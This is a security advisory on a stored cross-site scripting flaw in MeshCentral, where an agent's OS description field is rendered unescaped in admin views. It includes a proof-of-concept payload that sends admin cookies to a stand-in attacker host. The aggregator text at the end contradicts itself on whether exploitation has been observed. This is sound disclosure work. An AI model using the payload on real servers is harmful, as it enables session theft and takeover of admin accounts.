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GHSA-c7hr-448w-65px
meshcentralDescription
A rogue or compromised MeshAgent can inject arbitrary HTML/JavaScript via the osdesc (OS description) field in its coreinfo message. The server stores this value with zero HTML sanitization (meshagent.js:1903 only checks typeof == 'string'). When an admin views the device details panel, the value is rendered via addDeviceAttribute() → QH() which sets innerHTML, executing the payload in the admin's browser session. The main management UI CSP includes 'unsafe-inline' (webserver.js:7072), so inline event handlers and script execution are unrestricted.
Technical Details
// meshagent.js:1903 -- Agent input, only type check
if (typeof command.osdesc == 'string') { device.osdesc = command.osdesc;
change = 1; }
// default3.handlebars:8713 -- Rendered WITHOUT EscapeHtml()
if (node.osdesc) { x += addDeviceAttribute("Operating System", node.osdesc); }
// addDeviceAttribute() interpolates into HTML string, QH() sets innerHTML
// INCONSISTENCY: Same field IS escaped elsewhere:
// Line 13529: addDetailItem("Version", EscapeHtml(node.osdesc), s)
// Line 5760: EscapeHtml(node.osdesc ? node.osdesc : '')
Additional unescaped agent fields:
- node.name unescaped in sharing dialog (line 4695), user group list (line 18625), permission dialogs (lines 18675, 19413) -- HIGH
- cpuinfo.thermals[].InstanceName attribute injection (line 13502) -- MEDIUM
- volumes[].name unescaped in file browser (line 12612) -- MEDIUM
No server-side defense: CloneSafeNode() strips secrets but not XSS. validateObjectForMongo() only enforces length limits (1024 chars). No HTML sanitation exists anywhere in the agent→DB→UI pipeline.
Proof of Concept
Rogue agent sends via WebSocket:
{
"action": "coreinfo",
"osdesc": "<img src=x onerror='fetch(\"https://evil.com/steal?\"+document.cookie)'>",
"name": "Legit-PC"
}
Payload fires when any admin views the device details panel. No click required.
<img width="939" height="587" alt="image" src="https://github.com/user-attachments/assets/1ba372bb-73be-477b-95ca-fa5fc247f8f1" />The vulnerability can be exploited over the network without needing physical access. It is difficult for an attacker to exploit this vulnerability and may require special conditions. An attacker does not need any special privileges or access rights. The attacker needs the user to perform some action, like clicking a link. The vulnerability can affect other systems as well, not just the initial system. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
Probability that this vulnerability will be exploited in the wild within the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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